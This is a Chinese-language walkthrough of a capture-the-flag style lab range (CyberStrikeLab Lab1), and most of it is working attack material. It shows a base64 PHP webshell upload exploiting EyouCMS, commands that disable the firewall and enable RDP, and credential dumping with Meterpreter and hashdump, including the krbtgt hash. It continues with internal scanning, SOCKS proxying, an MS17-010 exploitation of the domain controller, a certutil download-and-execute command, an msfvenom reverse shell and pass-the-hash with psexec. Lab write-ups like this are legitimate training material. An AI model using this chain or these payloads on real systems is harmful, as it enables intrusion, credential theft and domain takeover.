Lab-1

https://www.cyberstrikelab.com/#/scene/detail/20

Youcms

youcms

网上能找到 youcms 前台 getshell 的利用

https://blog.csdn.net/qq_48985780/article/details/121945304

POST /index.php/api/Uploadify/preview HTTP/1.1
Host: 192.168.10.10
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Upgrade-Insecure-Requests: 1
Priority: u=0, i
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:141.0) Gecko/20100101 Firefox/141.0
Accept-Encoding: gzip, deflate
Sec-GPC: 1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Content-Type: application/x-www-form-urlencoded

data:image/php;base64,PD9waHAgcGhwaW5mbygpOw==

访问返回包中的 preview/xxxxxxx.php

写入一句话木马

POST /index.php/api/Uploadify/preview HTTP/1.1
Host: 192.168.10.10
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Upgrade-Insecure-Requests: 1
Priority: u=0, i
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:141.0) Gecko/20100101 Firefox/141.0
Accept-Encoding: gzip, deflate
Sec-GPC: 1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Content-Type: application/x-www-form-urlencoded

data:image/php;base64,PD9waHAgc3lzdGVtKCRfUE9TVFsneCddKTs=

测试，是 windows

192.168.10.10

进行反弹 shell

先把防火墙关了，然后开启远程桌面

PS C:\phpstudy_pro\WWW\eyoucms1.0\preview> netsh advfirewall set allprofiles state off
Ok.

PS C:\phpstudy_pro\WWW\eyoucms1.0\preview> REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f
The operation completed successfully.

之后再上线 Vshell ，使用一键上线命令即可

C 盘根目录第一个 flag

C:\>type flag.txt
go-flag{kn6anDUCzBqtjlX8}

这里为了方便所以上 MSF 抓了下 HASH

这里可以使用 evil-winrm 进行登陆了

meterpreter > creds_all
[+] Running as SYSTEM
[*] Retrieving all credentials
msv credentials
===============

Username       Domain           NTLM                              SHA1
--------       ------           ----                              ----
Administrator  WIN-KOHRC1DGOL9  a167976f7bd8d93ee232fa7a87a4079e  8b8bca113dee7e588272b1ca6b73b16d017d4434

wdigest credentials
===================

Username          Domain           Password
--------          ------           --------
(null)            (null)           (null)
Administrator     WIN-KOHRC1DGOL9  (null)
WIN-KOHRC1DGOL9$  WORKGROUP        (null)

kerberos credentials
====================

Username          Domain           Password
--------          ------           --------
(null)            (null)           (null)
Administrator     WIN-KOHRC1DGOL9  (null)
win-kohrc1dgol9$  WORKGROUP        (null)

IP 信息

C:\>ipconfig

Windows IP 配置

以太网适配器 以太网 3:

   连接特定的 DNS 后缀 . . . . . . . :
   本地链接 IPv6 地址. . . . . . . . : fe80::f934:2031:ffb0:abe5%17
   IPv4 地址 . . . . . . . . . . . . : 192.168.10.10
   子网掩码  . . . . . . . . . . . . : 255.255.255.0
   默认网关. . . . . . . . . . . . . : 192.168.10.233

以太网适配器 以太网实例 0:

   连接特定的 DNS 后缀 . . . . . . . :
   本地链接 IPv6 地址. . . . . . . . : fe80::dd76:17c3:eada:75fb%16
   IPv4 地址 . . . . . . . . . . . . : 192.168.20.10
   子网掩码  . . . . . . . . . . . . : 255.255.255.0
   默认网关. . . . . . . . . . . . . : 192.168.20.1

隧道适配器 isatap.{4DA50EBB-5871-4387-AB71-FF1EF08A5B10}:

   媒体状态  . . . . . . . . . . . . : 媒体已断开
   连接特定的 DNS 后缀 . . . . . . . :

隧道适配器 isatap.{0A087C82-408A-4C20-8EB3-4E5C11A340D7}:

   媒体状态  . . . . . . . . . . . . : 媒体已断开
   连接特定的 DNS 后缀 . . . . . . . :

找到内网网段 192.168.20.x

上传 fscan 扫描

PS C:\> ./fscan -h 192.168.20.1-255
┌──────────────────────────────────────────────┐
│    ___                              _        │
│   / _ \     ___  ___ _ __ __ _  ___| | __    │
│  / /_\/____/ __|/ __| '__/ _` |/ __| |/ /    │
│ / /_\\_____\__ \ (__| | | (_| | (__|   <     │
│ \____/     |___/\___|_|  \__,_|\___|_|\_\    │
└──────────────────────────────────────────────┘
      Fscan Version: 2.0.0

[2025-08-12 07:42:18] [INFO] 暴力破解线程数: 1
[2025-08-12 07:42:18] [INFO] 开始信息扫描
[2025-08-12 07:42:18] [INFO] 生成IP范围: 192.168.20.1 - 192.168.20.255
[2025-08-12 07:42:18] [INFO] 最终有效主机数量: 255
[2025-08-12 07:42:18] [INFO] 开始主机扫描
[2025-08-12 07:42:18] [SUCCESS] 目标 192.168.20.10   存活 (ICMP)
[2025-08-12 07:42:19] [SUCCESS] 目标 192.168.20.20   存活 (ICMP)
[2025-08-12 07:42:19] [SUCCESS] 目标 192.168.20.30   存活 (ICMP)
[2025-08-12 07:42:21] [INFO] 存活主机数量: 3
[2025-08-12 07:42:21] [INFO] 有效端口数量: 233
[2025-08-12 07:42:21] [SUCCESS] 端口开放 192.168.20.30:135
[2025-08-12 07:42:21] [SUCCESS] 端口开放 192.168.20.20:135
[2025-08-12 07:42:21] [SUCCESS] 端口开放 192.168.20.10:135
[2025-08-12 07:42:21] [SUCCESS] 端口开放 192.168.20.30:88
[2025-08-12 07:42:21] [SUCCESS] 端口开放 192.168.20.10:80
[2025-08-12 07:42:23] [SUCCESS] 端口开放 192.168.20.30:445
[2025-08-12 07:42:23] [SUCCESS] 端口开放 192.168.20.20:445
[2025-08-12 07:42:23] [SUCCESS] 端口开放 192.168.20.10:445
[2025-08-12 07:42:23] [SUCCESS] 端口开放 192.168.20.30:389
[2025-08-12 07:42:23] [SUCCESS] 端口开放 192.168.20.30:139
[2025-08-12 07:42:23] [SUCCESS] 端口开放 192.168.20.20:139
[2025-08-12 07:42:23] [SUCCESS] 端口开放 192.168.20.10:139
[2025-08-12 07:42:26] [SUCCESS] 端口开放 192.168.20.10:3306
[2025-08-12 07:42:26] [SUCCESS] 服务识别 192.168.20.10:3306 => [mysql] 产品:MySQL 信息:unauthorized Banner:[H.j Host 'WIN-KOHRC1DGOL9' is not allowed
to connect to this MySQL server]
[2025-08-12 07:42:27] [SUCCESS] 服务识别 192.168.20.30:88 => 
[2025-08-12 07:42:30] [SUCCESS] 服务识别 192.168.20.10:80 => [http]
[2025-08-12 07:42:31] [SUCCESS] 服务识别 192.168.20.10:445 => 
[2025-08-12 07:42:31] [SUCCESS] 服务识别 192.168.20.10:139 =>  Banner:[.]
[2025-08-12 07:42:31] [SUCCESS] 服务识别 192.168.20.20:139 =>  Banner:[.]
[2025-08-12 07:42:31] [SUCCESS] 服务识别 192.168.20.30:445 => 
[2025-08-12 07:42:31] [SUCCESS] 服务识别 192.168.20.30:139 =>  Banner:[.]
[2025-08-12 07:42:31] [SUCCESS] 服务识别 192.168.20.20:445 => 
[2025-08-12 07:42:36] [SUCCESS] 服务识别 192.168.20.30:389 => 
[2025-08-12 07:43:27] [SUCCESS] 服务识别 192.168.20.30:135 => 
[2025-08-12 07:43:27] [SUCCESS] 服务识别 192.168.20.20:135 => 
[2025-08-12 07:43:27] [SUCCESS] 服务识别 192.168.20.10:135 => 
[2025-08-12 07:43:27] [INFO] 存活端口数量: 13
[2025-08-12 07:43:27] [INFO] 开始漏洞扫描
[2025-08-12 07:43:27] [INFO] 加载的插件: findnet, ldap, ms17010, mysql, netbios, smb, smb2, smbghost, webpoc, webtitle
[2025-08-12 07:43:27] [SUCCESS] NetInfo 扫描结果
目标主机: 192.168.20.10
主机名: WIN-KOHRC1DGOL9
发现的网络接口:
   IPv4地址:
      └─ 192.168.10.10
[2025-08-12 07:43:27] [SUCCESS] NetInfo 扫描结果
目标主机: 192.168.20.20
主机名: cyberweb
发现的网络接口:
   IPv4地址:
      └─ 192.168.20.20
[2025-08-12 07:43:27] [SUCCESS] 发现漏洞 192.168.20.20 [Windows Server 2012 R2 Standard 9600] MS17-010
[2025-08-12 07:43:27] [SUCCESS] NetBios 192.168.20.20   cyberweb.cyberstrikelab.com         Windows Server 2012 R2 Standard 9600
[2025-08-12 07:43:27] [SUCCESS] 发现漏洞 192.168.20.30 [Windows Server 2008 R2 Standard 7600] MS17-010
[2025-08-12 07:43:27] [SUCCESS] NetInfo 扫描结果
目标主机: 192.168.20.30
主机名: WIN-7NRTJO59O7N
发现的网络接口:
   IPv4地址:
      └─ 192.168.20.30
[2025-08-12 07:43:28] [SUCCESS] NetBios 192.168.20.10   WORKGROUP\WIN-KOHRC1DGOL9           Windows Server 2012 R2 Standard 9600
[2025-08-12 07:43:30] [SUCCESS] 网站标题 http://192.168.20.10      状态码:200 长度:25229  标题:易优CMS -  Powered by Eyoucms.com
[2025-08-12 07:43:40] [SUCCESS] 目标: http://192.168.20.10:80
  漏洞类型: poc-yaml-thinkphp5023-method-rce
  漏洞名称: poc1
  详细信息:
        links:https://github.com/vulhub/vulhub/tree/master/thinkphp/5.0.23-rce

192.168.20.20 和 30 发现永恒之蓝

192.168.20.20 - 1

打永恒之蓝需要搭代理

这里使用 stowaway

./linux_x64_admin -l 8000 -s 123

Start-Process -FilePath "C:\agent.exe" -ArgumentList "-c 172.16.233.2:8000 -s 123 --reconnect 8"

(admin) >> use 0
(node 0) >> socks 4444 admin admin
[*] Trying to listen on 0.0.0.0:4444......
[*] Waiting for agent's response......
[*] Socks start successfully!

设置好代理后用 MSF 打永恒之蓝

➜  Lab1 proxychains -q msfconsole
search ms17_010
use 19
set command whoami
set rhost 192.168.20.20
run

但是这里应该是被修复了，先放着

msf6 auxiliary(admin/smb/ms17_010_command) > exploit

[*] 192.168.20.20:445     - Target OS: Windows Server 2012 R2 Standard 9600
[-] 192.168.20.20:445     - Unable to find accessible named pipe!
[*] 192.168.20.20:445     - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

192.168.20.30

转换目标，打 192.168.20.30

msf6 auxiliary(admin/smb/ms17_010_command) > set rhost 192.168.20.30
rhost => 192.168.20.30
msf6 auxiliary(admin/smb/ms17_010_command) > set command whoami
command => whoami
msf6 auxiliary(admin/smb/ms17_010_command) > run
[*] 192.168.20.30:445     - Target OS: Windows Server 2008 R2 Standard 7600
[*] 192.168.20.30:445     - Built a write-what-where primitive...
[+] 192.168.20.30:445     - Overwrite complete... SYSTEM session obtained!
[+] 192.168.20.30:445     - Service start timed out, OK if running a command or non-service executable...
[*] 192.168.20.30:445     - Getting the command output...
[*] 192.168.20.30:445     - Executing cleanup...
[+] 192.168.20.30:445     - Cleanup was successful
[+] 192.168.20.30:445     - Command completed successfully!
[*] 192.168.20.30:445     - Output for "whoami":

nt authority\system

[*] 192.168.20.30:445     - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

成功执行，准备上线 Vshell

通过 stowaway 将监听端口映射到 192.168.20.10

(node 0) >> backward 1234 1234
[*] Trying to ask node to listen on 0.0.0.0:1234......
[*] Waiting for agent's response......
[*] Backward start successfully!

通过 ms17_010 进行上线

set command "certutil.exe -urlcache -split -f http://192.168.20.10:1234/swt C:\\run.bat"
run
set command "start C:\\run.bat"
run

C 盘根目录能找到第二个 flag

go-flag{R0M4QwsS6EQp97lw}

关闭防火墙和开启远程桌面

C:\Windows\system32>netsh advfirewall set allprofiles state off
确定。

C:\Windows\system32>REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f
操作成功完成。

信息收集，发现该机器就是 DC

C:\Windows\system32>net view
服务器名称            注解

-------------------------------------------------------------------------------
\\CYBERWEB
\\WIN-7NRTJO59O7N
命令成功完成。

PS C:\> net view /domain
Domain

-------------------------------------------------------------------------------
CYBERSTRIKELAB
命令成功完成。

C:\Windows\system32>net view /domain
Domain

-------------------------------------------------------------------------------
CYBERSTRIKELAB
命令成功完成。

C:\Windows\system32>net group "domain controllers"
组名     Domain Controllers
注释     域中所有域控制器

成员

-------------------------------------------------------------------------------
WIN-7NRTJO59O7N$

上线 MSF ，和上面上线 Vshell的操作类似

(node 0) >> backward 9009 9009
[*] Trying to ask node to listen on 0.0.0.0:9009......
[*] Waiting for agent's response......
[*] Backward start successfully!

msf6 exploit(multi/handler) > set lport 9009
lport => 9009
msf6 exploit(multi/handler) > options

Payload options (windows/x64/meterpreter/reverse_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  process          yes       Exit technique (Accepted: '', seh, thread, process, none)
   LHOST     0.0.0.0          yes       The listen address (an interface may be specified)
   LPORT     9009             yes       The listen port

Exploit target:

   Id  Name
   --  ----
   0   Wildcard Target

View the full module info with the info, or info -d command.

msf6 exploit(multi/handler) > run
[*] Started reverse TCP handler on 0.0.0.0:9009

➜  Lab1 msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.20.10 LPORT=9009 -f exe -o shell.exe
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 510 bytes
Final size of exe file: 7168 bytes
Saved as: shell.exe

将 shell.exe 上传到 192.168.20.30 ，然后运行

抓取 hash

meterpreter > hashdump
Administrator:500:aad3b435b51404eeaad3b435b51404ee:94bd5248e87cb7f2f9b871d40c903927:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:5bc02b7670084dd30471730cc0a1672c:::
cyberweb:1105:aad3b435b51404eeaad3b435b51404ee:2de5cd0f15d1c070851d1044e1d95c90:::
WIN-7NRTJO59O7N$:1000:aad3b435b51404eeaad3b435b51404ee:f056ff4d1ad036e570c5344bb3d4e65c:::
CYBERWEB$:1103:aad3b435b51404eeaad3b435b51404ee:c9f108dc7ba78e084283c00e33dffeff:::

192.168.20.20

测试凭据

➜  Lab1 proxychains -q nxc smb 192.168.20.20 -u administrator -H 94bd5248e87cb7f2f9b871d40c903927 
SMB         192.168.20.20   445    CYBERWEB         [*] Windows 8.1 / Server 2012 R2 Build 9600 x64 (name:CYBERWEB) (domain:cyberstrikelab.com) (signing:False) (SMBv1:True) 
SMB         192.168.20.20   445    CYBERWEB         [+] cyberstrikelab.com\administrator:94bd5248e87cb7f2f9b871d40c903927 (Pwn3d!)

PTH 拿下

➜  Lab1 proxychains -q psexec.py cyberstrikelab.com/administrator@cyberweb.cyberstrikelab.com -hashes aad3b435b51404eeaad3b435b51404ee:94bd5248e87cb7f2f9b871d40c903927
  import pkg_resources
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies 

[*] Requesting shares on cyberweb.cyberstrikelab.com.....
[*] Found writable share ADMIN$
[*] Uploading file pqpIKIBX.exe
[*] Opening SVCManager on cyberweb.cyberstrikelab.com.....
[*] Creating service WhKD on cyberweb.cyberstrikelab.com.....
[*] Starting service WhKD.....
[!] Press help for extra shell commands
[-] Decoding error detected, consider running chcp.com at the target,
map the result with https://docs.python.org/3/library/codecs.html#standard-encodings
and then execute smbexec.py again with -codec and the corresponding codec
Microsoft Windows [�汾 6.3.9600]

[-] Decoding error detected, consider running chcp.com at the target,
map the result with https://docs.python.org/3/library/codecs.html#standard-encodings
and then execute smbexec.py again with -codec and the corresponding codec
(c) 2013 Microsoft Corporation����������Ȩ����

C:\Windows\system32>

读取第三个 flag

C:\> type flag.txt
go-flag{Nb8VOT8X9SbIzyDI}

Cyberstrikelab - Lab1